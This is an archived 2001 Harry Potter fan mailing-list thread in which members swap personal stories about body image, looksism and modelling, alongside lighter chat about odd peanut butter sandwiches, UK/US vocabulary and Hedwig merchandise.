pickle sandwiches. I can't bring myself to taste it - it's hard 
enough just to watch. 

Gert




From joyw at gwu.edu  Tue Sep  4 03:31:43 2001
From: joyw at gwu.edu (- Joy -)
Date: Mon, 03 Sep 2001 23:31:43 -0400
Subject: [HPFGU-OTChatter] Oppression and MMI
References: <9n1df2+1um8@eGroups.com>
Message-ID: <004001c134f2$1e82c0a0$a2d30941@mtgmry1.md.home.com>

That's really interesting, Jenny.  *My* suburban Jewish family tends to
idealize bigger bodies... food=comfort and all that.  Maybe it's because my
parents are only second-generation Americans.

I just started going to school in the city, and dealing with all of those
tanned, blonde, out of Cosmo bodies has been rough on me.  I'm 5'1, a size
12/14, and 18 years old (plus I use a wheelchair, to boot).  So, I'm trying
to get over my intimidation at being surrounded by all of these "beautiful"
people, and trying to shake myself out of the mind set that "I'm not good
enough" to be friends with them.

This discussion came at a perfect time for me.  It makes me feel better that
all of you "rubenesque" ladies survived the college period.  Sorry if I'm
sharing too much teen angst here...

~Joy~



Jenny wrote:
> MMI - Ebony, I posted something very similar about body image a few
> months back.  I am caught between two worlds: the you-must-be-skinny
> world of my suburban Jewish family and the I-like-your-fat-ass world
> of my students and boyfriend, who are all either African American or
> Latino.  It's sometimes painful to be with my family because I want to
> scarf down three pieces of cake but they'll stare.  However, many of
> my students have health problems that are related to their diet and
> weight.  My boyfriend likes my curves, though, and that is very nice
> for me.  :-)




From viola_1895 at yahoo.com  Tue Sep  4 04:39:09 2001
From: viola_1895 at yahoo.com (Julie (a.k.a. Viola))
Date: Tue, 04 Sep 2001 04:39:09 -0000
Subject: Oppressing the overdog
In-Reply-To: <9n0565+f5gh@eGroups.com>
Message-ID: <9n1ltd+irrl@eGroups.com>

*delurking* This is one of those topics I can never seem to leave 
alone. ^_^

--- In HPFGU-OTChatter at y..., rainy_lilac at y... wrote:
> I have had to deal 
> with this kind of abuse a lot. It is really amazing how otherwise 
> perfectly nice people will suddenly think it is okay to savage 
> someone because of how they look. I have actually had people say 
> straight to my face that because I look the way I do I have had the 
> good breaks "all" my life, have "always" enjoyed favor and 
attention, 
> and now they are going to "even the score" a bit. 

And when those people are in positions of power, it becomes 
discrimination.

Now, I make no claims on great beauty - I've certainly never modelled 
like Suzanne ^_^ - but I am self-aware enough to know that my looks 
"type" me. I'm in my mid-twenties, blonde and reasonably attractive 
- and I work in an extremely male-dominated industry. The genre 
entertainment industry is run by about the biggest Boys Club there is 
- and it's assumed (rightly so in some cases) that attractive women 
get where they are because they fulfill some comic book babe fantasy 
for the boss.

In my career, I've been accused of using my looks to get ahead more 
times than I can count. One boss took too much "professional" interest 
in both me and a co-worker of mine - who was also blonde and 
twenty-ish. When I finally got a female superior, she happened to be a 
lesbian. All the "boys" called me her "lipstick." Nice. And, recently, 
I was thoroughly appalled to discover my former colleagues spreading 
the rumor that I was shagging my newest boss. 


> was thirty. I am well rounded, bright, went to Smith College, and 
> have published my work. No matter how well I have done academically 
> or at work, though, I have been assumed a bimbo until I have proven 
> otherwise.
> 

I think this is a _big_ problem. I'm a staunch feminist, but I do 
think some aspects of the women's movement have lead to devisiveness 
amongst women - especially as regards physical appearance. Margaret 
Atwood actually makes this point very well in "The Handmaid's Tale" - 
the extreme right uses the tension between women because of physical 
appearance as a justification for subjugating _all_ women. "At least 
our way everyone's equal" is the general sentiment. I always think of 
that scene whenever this topic comes up.

We receive so many conflicting messages about this stuff. Is it better 
to be Cinderella or an ugly stepsister? As a child of the post-Judy 
Blume era, I honestly don't know.

> I am not a born winner. I was not a cheerleader. 

And I happened to be a very good cheerleader, so I spent my 
adolescence with an enormous chip on my shoulder because no one would 
take me seriously. It amazed me that my choice of extracurricular 
activity could so totally determine me.

I didn't do it because I wanted to be some Barbie Doll figure of 
conformity - I did it because I was a dancer and a gymnast, had a 
competitive spirit and _liked_ performing. But the stereotype remains 
- and it isn't just your peers. I remember being thoroughly floored 
the first time a teacher told me my writing had promise. I was a 
senior, and before that the only other time a teacher had singled me 
out was to interrogate me about whether I was anorexic.

> away, "Yep, it's true. I am beautiful. And I am not born yesterday."

What a _great_ sentiment. ^_^ We should all be so healthy.

"Looksism" cuts both ways - and it's wrong, regardless of which end of 
the spectrum you find yourself on. There's a certain amount of human 
nature at work, of course, but in our society it's really out of 
control. 

--- In HPFGU-OTChatter at y..., "Ebony" <ebonyink at h...> wrote:
> Anyway.  What pisses me off the most is when people don't think that 
> thin women have just as many body image issues as larger ones. 

Or, that if they do, it's somehow wrong and shameful. In college, I 
was totally shocked by the attitude toward eating disorders. I was in 
a sorority - an institution which has some very unflattering 
statistics body image and eating disorder-wise. So to rectify this, 
everyone was being "proactive" about eating disorders. The upshot of 
this was everyone running around madly trying to prevent disordered 
thinking from "spreading" and making their chapter look bad. I will 
never forget a group of us being dragged in front of our chapter 
"standards" board as "likelies" - in my case, because they found out 
I'd had a borderline eating disorder in high school. Just for 
reference, this is the same treatment you'd get if you were a serious 
behavior problem - stealing from the house or using illegal drugs, 
etc. The implication was that we might somehow influence the younger 
members and turn an isolated problem into an epidemic. I couldn't 
believe what I was hearing, and was shocked and angered by the total 
lack of compassion. 

> And women need to realize that all the divisiveness is unnecessary, 
> and counterproductive to our aims.  No matter what we look like, 
what 
> our sexual preference is, what our socioeconomic status is, or where 
> we live in the world, the fact remains that we are all women... more 
> than one-half of the human population, and still so very subjugated 
> and oppressed in much of the world.

A big "amen!" to that. ^_^

-Julie (who likes to blend peanut butter, bananas and vanilla frozen 
yogurt and drink it - which isn't actually a sandwich, but _does_ 
contain peanut butter)





From jaffa276 at yahoo.co.uk  Tue Sep  4 09:04:54 2001
From: jaffa276 at yahoo.co.uk (Benjamin)
Date: Tue, 04 Sep 2001 09:04:54 -0000
Subject: Vile sandwiches (Peanut butter)
In-Reply-To: <9n1dtc+2hhs@eGroups.com>
Message-ID: <9n25fm+2u6m@eGroups.com>

--- In HPFGU-OTChatter at y..., "Trina" <triner918 at a...> wrote:
> Amanda wrote:
> Bananas and peanut butter are wonderful,too, but too hard to make 
> into a sandwich.

College used to sell peanut butter and cucumber sandwiches (well 
baguettes really) they seemed to always be the last to go. I was 
forced to try one when I got to lunch late once, approaching the 
thing with fear and trepidation (and not a little starvation) but was 
surprised at how nice they were.  Peanut butter on toast is 
definitely the best though.  Especially after marmite toast for 
breakfast. 

-Ben.






From aiz24 at hotmail.com  Tue Sep  4 10:30:11 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 04 Sep 2001 10:30:11 -0000
Subject: Vile sandwiches (was EUS, was People United ...)
In-Reply-To: <9n1edj+nibl@eGroups.com>
Message-ID: <9n2afj+sar1@eGroups.com>

Gert wrote:
 
> My husband occasionally gets cravings for peanut butter and dill 
> pickle sandwiches. I can't bring myself to taste it - it's hard 
> enough just to watch. 

Uh-oh.  Sure he isn't pregnant?

Amy




From blpurdom at yahoo.com  Tue Sep  4 12:01:21 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 04 Sep 2001 12:01:21 -0000
Subject: Vile sandwiches
In-Reply-To: <004801c133c6$07e872e0$893670c2@c5s910j>
Message-ID: <9n2fqh+e25e@eGroups.com>

--- In HPFGU-OTChatter at y..., "Neil Ward" <neilward at d...> wrote:
> Barb admitted:
> 
> << ...I briefly was into making peanut butter, pickle, olive and 
baloney sandwiches.  The peanut butter mainly functioned as mortar.  
>>
> 
> Why anyone would want to work peanut butter around their mouth and 
pass it through their digestive system, I have no idea.  However, 
thanks for the DIY tip: one jar of the stuff will probably spread far 
enough to tile my bathroom walls from floor to ceiling.  <g>
> 
> Neil

Funny, I've often found when reading UK shelter magazines (as a 
student of architecture I think I subscribe to about two dozen of 
them--from the US and UK) that there are many things which go by 
different names.  "Valance," for instance means a piece of fabric 
hung at the top of a window which is not long enough to obscure the 
entire aperture (in the US), whereas in the UK this is used to refer 
to the fabric hanging down between a bed's mattress and the floor (in 
US it's a dust ruffle or bed skirt).  So I don't know 
whether "mortar" is used in the UK to refer to both the material that 
binds masonry together AND glues tiles to a wall, but it could be.  
In the US, the tile stuff is called mastic and the stuff we actually 
see between the tiles is grout.  I think that as foods go, cream 
cheese (does THAT exist in the UK?) would make better mastic than 
peanut butter and mayonnaise would do well as grout. <vbg>  Can you 
tell I'm feeling silly and giddy because I finished my fic?

--Barb





From bray.262 at osu.edu  Tue Sep  4 08:31:04 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Tue, 4 Sep 2001 08:31:04 EST5EDT
Subject: Talk about body image....
Message-ID: <5B009C4347@lincoln.treasurer.ohio-state.edu>

This past Friday I took half a day off to spend time with a 
friend of mine from my hometown that was up here for a 
week.  We hooked up with some other friends of ours (we all 
met as camp counselors at a Girl Scout camp 12 years ago) 
and "did" the Short North, an area known for it's art 
galleries, awesome restaurants, wicca shops, coffee houses 
and.....sex/fetish stores.

:-)

Anyway, we went into this one store that was full of 
leather, bondage, etc. things and, though slightly 
embarrassed, I started browsing through the racks.  
SO...after about ten minutes I came across this black full 
length skirt (slightly see-through, full skirt).  I kept 
going back to it and just...admiring it.  The store clerk 
finally came over, took it off the rack and said "Come 
on...you're trying it on."  I was trying to object but he 
pulled me back to the changing room, shoved me in and shut 
the door behind me.  So I tried it on.  I was stunned.  It 
was gorgeous!  And so.....not like me!  He knocked on the 
door and asked how it was so I peeked out and all my 
friends had gathered around the door, waiting.  He pulled 
me out (now remember....this is a see-through skirt) and 
put me in front of the three way mirror.

Everyone was speechless.  It was GORGEOUS. Now given, I'd 
probably sew a layer of black....ANYTHING underneath it 
since it was see-through but I've never in my life felt so 
feminine.  I'm 5'9 1/2"  and the clerk said it was perfect 
for me since everyone else who ever bought it had to have 
it shortened.  

Then....this guy walked in, walked by the mirrors, stopped 
short and stared at me, wide eyed.  He then said "I know I 
don't know you....but you're gorgeous in that!"  

I have never in my life felt so incredible.  After my 
husband left four years ago, I've really let myself go, 
image-wise.  I don't dress up anymore and I rarely remember 
to do my roots on time, I wear sloppy clothes and I rarely 
wear make-up.....it was such a boost to my ego.  Everyone 
commented later that night that it was fun to see that 
spark of what I used to be show up that evening.  I was 
walking on air.

I didn't buy the skirt, though.  It was WAAAAY out of my 
budget for this month.  But I'll love that thing until the 
day I die.  :-)  I would have NEVER thought something like 
that would have looked so good on someone who looks like 
me.  

Anyway, I'm rambling....hope everyone had a great weekend 
(especially you fellow Americans who were lucky enough to 
have yesterday off, too.)

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From tabouli at unite.com.au  Tue Sep  4 12:45:50 2001
From: tabouli at unite.com.au (Tabouli)
Date: Tue, 4 Sep 2001 22:45:50 +1000
Subject: Of Meat Markets and Monstrous Men
Message-ID: <003d01c13540$65cd0a80$5e1d6fcb@price>

Sheryll:
> My worst enemy on all this is not myself, but my
> sister. Those of you who were in chat yesterday, I
> only have one sister, so yeah, it's the same one. She
> is obsessed with weight, runs every night (10 km) and
> has a Nordic Track in her bedroom. She does things
> like pokes my stomach and says 'what's that?' 

I got subjected to this sort of thing from my mother and brother in my teens, and it was vile.  Getting poked in the bum by my mother ("Hee hee, your botty *sooo* bick!  Maybe you have to find Italian man..."), ridiculed by my brother for being "fat" (for God's sake.  At 15 I weighed under 8 stone), told ominous tales by my grandfather about women he'd known who'd wrecked their looks through overeating, etc.etc.

Frankly, people who treat the young women in their family like dolls that have a duty to look as pretty as possible and, worse still, play them off against each other ("Look at Susannah, so slim and elegant, how come you don' know how to be elegant like that?") deserve a slap in the face.  Young women do NOT need any more people making them feel bad about their bodies, the majority of them are *already* wasting hours and energy every day on being miserable about their looks in some way.  As for those with fashionable body shapes who want to rub in their victory to those who don't, find some other way to feel good about yourself, thanks.
 
This is another price for beautiful women to pay: constantly being defined by your looks and being surrounded by jealous people who want to find fault with you is enough to make anyone obsessive and self-conscious about the least "flaw".  I once met a very beautiful model who had a positively wretched body image, fuelled by none other than her modelling agent.  "He tells me that unless I lose another half a stone, I won't get any work, and he said that if I had a coke habit like the other models I wouldn't have a weight problem, but when I do lose weight my boobs shrink and sag and I just hate the way I look, and all the 13 year olds are on E to make them seem more cute and sassy, and now I'm getting so old and fat no-one wants to hire me..."  This from a 22 year old woman who was tall and slim and willowy with a beautiful face, C cups and gorgeous thick shiny hair, who was constantly subjected to abuse from other women, ogling and resentment from men, and had a classic MMI trophy hunter boyfriend ("Other guys feel too insecure to ask out the best looking girls," snooted this frightful specimen, "but I don't have that problem.").  So yes, Suzanne, I, at least, sympathise!

David:
>> I want a partner who wants me for who I am as a unique person, my 
>>absolute value, not because I'm about the highest on the MMI he 
>>thinks he can catch.  How insulting.  These days I have very little 
>>time for men who run their love lives according to the MMI, and 
>>assume women do too.  There *are* people out there who don't buy into 
>>the MMI, and they're the people I now cultivate in my life.  
>
>I'm sure you will succeed if you keep your nerve.  There's obviously 
>a lot about you (I mean as well as the hazel eyes, the sylph-like 
>figure, the exotic looks, the vivacious manner...).
 
Hey, thanks David... most flattering!  OK, now that Suzanne has Spoken, I feel brave enough to mention the bit I chopped out of my previous post for fear of (a) undermining the point I was making, and (b) appearing arrogant.  The truth of the matter is that prior to the Two Awful Men, I considered myself to be rather (if not spectacularly) pretty.  An imperfect size 8-10(Australian sizes: not sure what this translates to in the US) , I carried myself with bounce, and had an interesting face: dark hair, large eyes, full lips and the not-to-be underestimated Exotic Eurasian Bonus Points factor.  Moreover, I was never short in the male admirers department, specialising in the intellectual man.  At 20 I was positively cocky about this, and was even known to cutely dub myself "The Thinking Man's Pin-Up" (don't worry, I got over that stage).  Needless to say, I must have been trying, and a lot of other women loathed me, slashed my photo on the wall of the common room, annihilated my character, etc.etc.  Yea, verily, I have some inkling of the Curse of the Beautiful Woman.

However...
 
A couple of years later, Awful Man 1 turned up on the scene (he was in fact the first and worst of my tragic penfriend romances), all tall and blond and muscly, and his sneering put paid to my cockiness in a matter of weeks.  After a few months of torture from him, I crawled up to the mirror for a terrified reassessment and was humiliated to think that I had once considered what I saw to be pretty.  Broad, sallow, pimply face, bags under the eyes, short heavy legs, A cup breasts, stretch marks, five foot one...  (sobbing yourself to inadequate sleep for months on end does nothing for your looks)  who was I kidding?  As for those former admirers, just how low were their standards?  Attractive women were tall, with large perky breasts and long slender legs and flawless skin and slim faces (0 out of 5 there).  He was embarrassed to be seen with me and, I now realised, no wonder.  I became embarrassed to be seen with *him*, convinced that everyone was staring at us because they couldn't believe how such a plain, dumpy little woman caught someone that looked like a surfwear model (he of course agreed on this point, and reminded me regularly that I was Not Worthy of him, and then proceeded to explain to me I was therefore not entitled to fidelity from him, and should help him figure out ways of seducing my better-looking friends).

After he left the country (yes, he actually flew to Australia to meet me, and I cringed to think how disappointing I must have been for him), I spent a few months averting my eyes from mirrors and crying and hating myself, and then, in a moment of extreme folly, took up with Awful Man 2 to regain my self esteem, who proceeded to tell me that All Men prefer big breasts and smooth skin, and that he'd apologised to his best friend for me being so ordinary looking, and that Any Man would of course trade in his girlfriend for a better looking woman if he thought he could get one.

Fortunately, once I kicked him out (it's easier when you haven't been in love with someone via letters for 10 years), I went on a world trip, where I regained some of my old liveliness and found myself once again rather popular with men, particularly in Japan (the Eurasian factor at work) and continental Europe (the intellectual factor), which had the effect of generating a bit of perspective.  I've never quite recovered my early 20s confidence (still retain the acne though, dammit!  I am *29*, can't it leave me alone now?), but these days I'm cheerful enough about my looks, and realise that there's a lot more to attraction than the Meat Market Index the Two Awful Men were measuring me by.  Sure, if you assess me in bits, you wouldn't put any of them on a catwalk, but looked at holistically none of the "flaws" make me ugly.  Besides which, in retrospect I'd actually been more "attractive", in a quantity of men attracted sense (though see my diatribe on quality vs quantity a couple of weeks ago) that women scoring much higher on the MMI for years before I had my self-esteem scuppered, which suggests that there are definitely men who see other things as more important, aren't there?

Tabouli.


[Non-text portions of this message have been removed]




From tabouli at unite.com.au  Tue Sep  4 13:02:20 2001
From: tabouli at unite.com.au (Tabouli)
Date: Tue, 4 Sep 2001 23:02:20 +1000
Subject: Vile sandwiches: Theme and variations on peanut butter
Message-ID: <005a01c13541$d5839000$5e1d6fcb@price>

A late entry in the Vile Sandwiches thread:

I seem to have picked up the American taste for sweet stuff with peanut butter of late (yes, we do get Reese's Peanut Butter Cups in Australia!).  After a childhood of being revolted by my father's peanut butter and honey sandwiches, which I still flinch at, I have taken to spreading Salada biscuits with peanut butter and then putting chopped caramel-centre chocolate pieces on top!  I also have peanut butter and soft brown sugar on crumpets.

As for sandwiches, I tend to avoid them (my tastes in food are resolutely Asian), but as a 6 year old I used to wrap blobs of peanut butter in plastic wrap and squeeze them until they splurt through the wrap in worms.  Rather like squeezing a pimple (ew!)

Tabouli.


[Non-text portions of this message have been removed]




From neilward at dircon.co.uk  Tue Sep  4 13:20:45 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Tue, 04 Sep 2001 13:20:45 -0000
Subject: Cementing UK/US relations (was Re: Vile sandwiches)
In-Reply-To: <9n2fqh+e25e@eGroups.com>
Message-ID: <9n2kfd+pasn@eGroups.com>

I proposed using peanut butter to tile walls, after Barb compared it 
to the mortar in a sandwich.  Barb, who obviously does a lot more DIY 
than I do, then said:

<< 
I don't know whether "mortar" is used in the UK to refer to both 
the material that binds masonry together AND glues tiles to a wall, 
but it could be.  In the US, the tile stuff is called mastic and the 
stuff we actually see between the tiles is grout.  I think that as 
foods go, cream cheese (does THAT exist in the UK?) would make better 
mastic than peanut butter and mayonnaise would do well as grout. >>

I would also use mortar (or cement) to lay bricks, and, in an ideal 
world, it would be tile adhesive adhering tiles to the wall and grout 
filling in the spaces between.  In my previous post I was noting the 
general cement-like properties of peanut butter and concluding that 
it would work for tiles.  I really wouldn't advise using it in the 
construction of bridges or tall buildings.  Perhaps there should be a 
warning on the jar?       

To me, mastic is something used for filling in holes, but I guess you 
could lay tiles with it.  

BTW, we do have cream cheese in the UK, but the main brand is called 
Philadelphia, so it's probably something we nicked off you.    

Barb, on UK/US word differences:

<<"Valance," for instance means a piece of fabric hung at the top of 
a window which is not long enough to obscure the entire aperture (in 
the US), whereas in the UK this is used to refer to the fabric 
hanging down between a bed's mattress and the floor (in US it's a 
dust ruffle or bed skirt).>>
  
The word valance covers both the bed skirt and the window dressing, 
as it is a frilly length of material intended to hide "structural 
detail" (I checked my dictionary ? I'm no valance expert).  I like 
the description `bed skirt' ? it says what it is instead of trying to 
sound sophisticated and French.  

It's a `too-much-information' day!

Neil/Flying Ford Anglia





From catherine at cator-manor.demon.co.uk  Tue Sep  4 13:20:51 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 04 Sep 2001 13:20:51 -0000
Subject: Hedwig.
Message-ID: <9n2kfj+fne9@eGroups.com>

Hi all,
In chat on Sunday, Neil and I were bemoaning the fact that the Hedwig 
merchandise, and in particular the stuffed toy, had a horrible gold 
collar with fake jewels on it.  We were wondering whether this was 
removeable, or not.  Well, I've just had a look in WB, and the answer 
is yes - it is only attached at the back, so can be taken off.  
However, should Hedwig have something round her leg for letters to be 
attached to, or can they just be tied on?

Catherine
BTW, was tempted to buy Hagrid - would've done if he had been 
carrying his pink umbrella.




From nethilia at yahoo.com  Tue Sep  4 13:55:40 2001
From: nethilia at yahoo.com (Nethilia De Lobo)
Date: Tue, 4 Sep 2001 06:55:40 -0700 (PDT)
Subject: Oppression, Rasicm and Other Happy Things
In-Reply-To: <999593744.264.67926.l10@yahoogroups.com>
Message-ID: <20010904135540.77762.qmail@web14609.mail.yahoo.com>

Hmm...

I've been looking over the conversation, and I decided
hey, I'll throw in my two sickles. (Trust me, I doubt
this will be just two knuts.)

On Women, Body image, and Stuff: 

God, I hate the way the media portrays women as thin
and perfect and about a size 0. Yesterday in class
(yes, my college makes us go to class on Labor Day,
Happy fun)I was sitting in the back drawing before
class and happened to over head the girls in front of
me. One was bragging that all she'd eaten the day
before was a granola bar and a bottle of water and
then went to work out for about 4-5 hours. Now, last I
checked my high school med books, that is Not A Good
Thing(tm). I felt horrible, sluggish, and sleepy
yesterday because I ended up skipping lunch and not
eating dinner till about midnight or so. Somewhere
down the line, that girl is seriously going to mess
herself up. 

As for me, I'm 5'5 and just dropped back into a size
12. The last time I wore a size 8, I was 8. I am in no
means little. At least 10 pounds of my weight is in my
chest alone. However, my boyfriend has never given a
damn about my weight. When I told him that I felt bad
after gaining that weight, he told me he didn't care
if I lost it or not. 

One of my roommates is a bit taller and heavier than
me, and the other is very small. But we all eat. A
lot. and like it. 

On Racism Which Sucks: 

What Ebony says rings true. A lot of the people I grew
up with had very narrow views on white people, Asian
people (God, I am going to rip the face off of the
next person who calls them Oriental. Oriental applies
to rugs and noodles. Not people), Hispanics--ETC. I
actually had a friend whose mother would not buy her
white Barbie dolls because she hated white people and
couldn't understand how I could own so many dolls of
various races. My mom didn't care who my friends,
dolls, or stories involved as long as I was nice to
people. I get along with white people better than I
ever have black people, mainly because they don't give
a damn that I'm smart and don't aspire to spend my
life complaining about how Da Man keeps me down and
then go pick up my welfare check. Sometimes I think
people delibrately keep themselves down--there's a
girl who I grew up with, who saw her mother chose
drugs over her family (the youngest was born with
crack in his system), and slept around (her 8 children
all have about 6 different fathers (I shouldn't talk,
as me and my sisters have different fathers and me and
my brother have different mothers, but we're spaced
out over about 18 years)), and yet, instead of
accepting her scholarship and going to college, she
lays around the house, with different men and smokes
all day. And she's two years younger than me. 

I'll add to this later, as Ihave class soon.

--Neth

=====
--Nethilia de Lobo--
79% obsessed with Harry Potter
**Draco Dormiens Nunquam Titillandus.**

http://www.geocities.com/spenecial
Spenecial.com. Two girls. One Website. Total Chaos.

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From rainy_lilac at yahoo.com  Tue Sep  4 14:47:17 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 04 Sep 2001 14:47:17 -0000
Subject: Of Meat Markets and Monstrous Men
In-Reply-To: <003d01c13540$65cd0a80$5e1d6fcb@price>
Message-ID: <9n2phl+p1od@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tabouli" <tabouli at u...> wrote:

> OK, now that Suzanne has Spoken, I feel brave enough to mention the 
bit I chopped out of my previous post for fear of (a) undermining the 
point I was making, and (b) appearing arrogant.  


I want to be really clear that I almost didn't make my post because I 
feared that I would appear "arrogant". 

Yeah, I am a pretty girl who is now pushing forty and rather glad of 
it. I prefer striking people as "smart" and do what I can to 
encourage that. I still strike people as being very pretty, but it 
seems to be counting against me less now that I have put on a few 
years and some wisdom. If you met me you would not necessarily think 
this was such a big deal.

When I was younger, though, I had that dewy-eyed, naive, just-sprang-
out-of-a-fairy-tale look which, back when the modelling industry was 
very big on Brooke Shields for all of the wrong reasons, enabled me 
to get into the industry. (I was later knocked out of it because I am 
simply not tall enough to compete.) 

Frankly the experience netted me mainly the very unpleasant 
attentions of (overt and covert) pedophiles, a lot of serious damage 
to my self-esteem, and the extreme hostility of many, many wicked 
step-mother types. I remember very clearly getting the message that 
how ever much I suffered, I deserved it, and lots of people would be 
secretly glad. Back then I was in fact very naive and defenseless and 
simply did not have the emotional equipment to protect myself. I had 
the dubious gift of a face that showed in great fragile clarity 
everything that I was feeling, and the vultures pounced on that and 
had a great lunch at my expense.

It sucked guys.

I do not recommend modelling as a career to anyone. I don't know 
ANYONE who has been made happy by it. I was very, very glad to have 
quit early in the game-- though I have to say that if I had met the 
height requirement, I probably would have gone ahead with it just out 
of fear. The money was good and I didn't have a good sense of my 
other options-- having that option taken away from me forced me to 
look toward other things, like college. Like my writing. 

The only kind of modelling that is relatively free of exploitation, 
in my opinion, is doing commercials (where they really prefer people 
who look "ordinary", though you are still expected to be "attractive"-
- all-American young mother types do very well), or modelling "parts" 
(feet, hands, even ears!), or doing voice-overs ($300 a hour, harder 
work than you would think), etc. It isn't necessarily all bad. But 
the fashion model scene-- Oh God, you do not know how awful it is, 
and how many really young girls are just sucked up into it and used 
like dirt rags. 

My Two Knuts,

Suzanne, Nobody's Fool






From sinead at bu.edu  Tue Sep  4 15:16:19 2001
From: sinead at bu.edu (Sinead Clements)
Date: Tue, 04 Sep 2001 15:16:19 -0000
Subject: HPFGU-NewEngland
Message-ID: <9n2r83+rr2d@eGroups.com>

Hello all, 

Just started a group for those in/visiting the New England states. I'll 
be back in Mass. on January 14th, I'm most likely to be available 
(weekends, day-offs) in Boston after that date. 

Here's the link: 

groups.yahoo.com/group/hpfgu-newengland

Just started it today, will be fixing it up later on.

Sinead





From rainy_lilac at yahoo.com  Tue Sep  4 15:36:42 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 04 Sep 2001 15:36:42 -0000
Subject: HPFGU-NewEngland
In-Reply-To: <9n2r83+rr2d@eGroups.com>
Message-ID: <9n2sea+h4r1@eGroups.com>


I am Boston-based, and happy to meet up with anyone who would like to 
pub hop!

Suzanne


--- In HPFGU-OTChatter at y..., "Sinead Clements" <sinead at b...> wrote:
> Hello all, 
> 
> Just started a group for those in/visiting the New England states. 
I'll 
> be back in Mass. on January 14th, I'm most likely to be available 
> (weekends, day-offs) in Boston after that date. 
> 
> Here's the link: 
> 
> groups.yahoo.com/group/hpfgu-newengland
> 
> Just started it today, will be fixing it up later on.
> 
> Sinead




From mat at hooper11.freeserve.co.uk  Tue Sep  4 17:24:17 2001
From: mat at hooper11.freeserve.co.uk (Martin Hooper)
Date: Tue, 04 Sep 2001 18:24:17 +0100
Subject: HP Movie Wallpaper
Message-ID: <5.1.0.14.0.20010904182321.009e9310@pop.freeserve.net>

Just uploaded to the main list some Harry Potter Movie Wallpaper.

It is in the "Wallpaper by Nio" folder.

Not my walls just thought you'd like them...

Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From aiz24 at hotmail.com  Tue Sep  4 18:21:16 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Tue, 04 Sep 2001 18:21:16 -0000
Subject: Hedwig.
In-Reply-To: <9n2kfj+fne9@eGroups.com>
Message-ID: <9n362s+4524@eGroups.com>

Catherine wrote:

> In chat on Sunday, Neil and I were bemoaning the fact that the 
Hedwig 
> merchandise, and in particular the stuffed toy, had a horrible gold 
> collar with fake jewels on it.  We were wondering whether this was 
> removeable, or not.  Well, I've just had a look in WB, and the 
answer 
> is yes - it is only attached at the back, so can be taken off. 

This is very good to hear.  An owl with Hedwig's dignity wouldn't 
tolerate a collar for any longer than it takes to say "owl post."
 
Amy Z
who worries about these things

P.S.  You could get the Hagrid and nick a pink umbrella from a Barbie 
or somesuch




From starling823 at yahoo.com  Tue Sep  4 18:20:24 2001
From: starling823 at yahoo.com (Starling)
Date: Tue, 4 Sep 2001 14:20:24 -0400
Subject: Dealing with  Opression and MMI
References: <999593744.264.67926.l10@yahoogroups.com>
Message-ID: <002001c1356e$46a9eaa0$c574e280@cc.binghamton.edu>

I just had to comment on this one.

I'm hearing myself speak from all of you.  I'm a senior in college.  Turned
21 two weeks ago.  5'5" and a size 14.  On a good day :-p.
Shopping is one of my least favorite things to do.  I love clothes, and
those rare days when I find something that not only fits, but fits well, is
in style, and flatters me.... wow, do I love those days.  But they are
unfortunately few and far between.  It's disgustingly difficult to find
clothing in my size range that is designed for 20somethings, rather than
50somethings.  (no offense to those of a certain age -- we just have
different styles).  Old Navy is the only store I've ever had consistent luck
in.  ::blesses Old Navy::  The biggest problem I've always had with my body
is clothing it.  I actually don't mind being naked -- mainly 'cause it's
such work finding things to fit into.  (Incidentally -- Marilyn Monroe was a
size 12.  So why is 12 considered fat nowadays?  ::confused::)

As for the way men look at women, and assets...well, my figure's still
pretty decent.  I often remind myself that for the Renaissance, i'd be a sex
goddess (teehee!),  which means small waist, very large hips, and a very
abundant bust -- the only part of me to get looked at by your average male.
*Especially* on a college campus.  I'll give some of them credit, they try
to be discreet about it.  The blatant ones I embarass by checking *them*
out...and walking past them muttering about "not measuring up".   I've very
rarely found them to be repeat offenders. ::innocent smile::

My family's whole take on this is "eat fruit, not potato chips".  My mother
is far more concerned with my ability to run up a flight of stairs and not
be out of breath than how I look.  My parents both struggled with their
weight before finally making buddies with the weight watchers group across
town, and are much healthier now -- that is the only reason I "diet".  I
don't want to have to need heart bypass surgery or have my arteries congeal
closed or something awful like that.

Bodies are wierd things.  I'm finally comfortable with mine.  Anyone who
wants some virtual support, email me, we can drink virtual wine, eat virtual
chocolate, (and did you know both contain antioxidants and are much
healthier than you'd suspect?  <g>) and make fun of silly men while we
compare ourselves to those wonderful Rubenesque women!

Abbie, who enjoys wearing halloween costumes designed after clothing from
the 18th and 17th centuries, because they are just so flattering :-)





_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From bray.262 at osu.edu  Tue Sep  4 15:25:53 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Tue, 4 Sep 2001 15:25:53 EST5EDT
Subject: A Cure for Self-Loathing
Message-ID: <61EAD44D65@lincoln.treasurer.ohio-state.edu>

I found this in my old e-mails from a friend of mine and I 
thought I'd share it!


>From Self magazine October 99 issue:

A Cure for SelfLoathing

The remedy, to be followed exactly more or less:

Do not look in the mirror for three days and do not speak 
with anyone you suspect of agreeing with your current 
opinion of yourself.

On the first day: Wear blue; buy roses; fix something 
broken; polish furniture. Allow yourself a mistake; drink a 
mixture of lemon juice and water; cry all night, then go 
shopping for new pillowcases.

On the second day: Make jam, visit an acquaintance unable 
to leave the house due to illness, sorrow or advancing 
years; fix a pot of tomatorice soup and let simmer. Give 
your coats away to those who cannot stay warm. Forget what 
you couldn't or didn't do right. Run for two miles, paying 
attention only to the shape of the leaves, the sound of 
birds, the idea of desire.

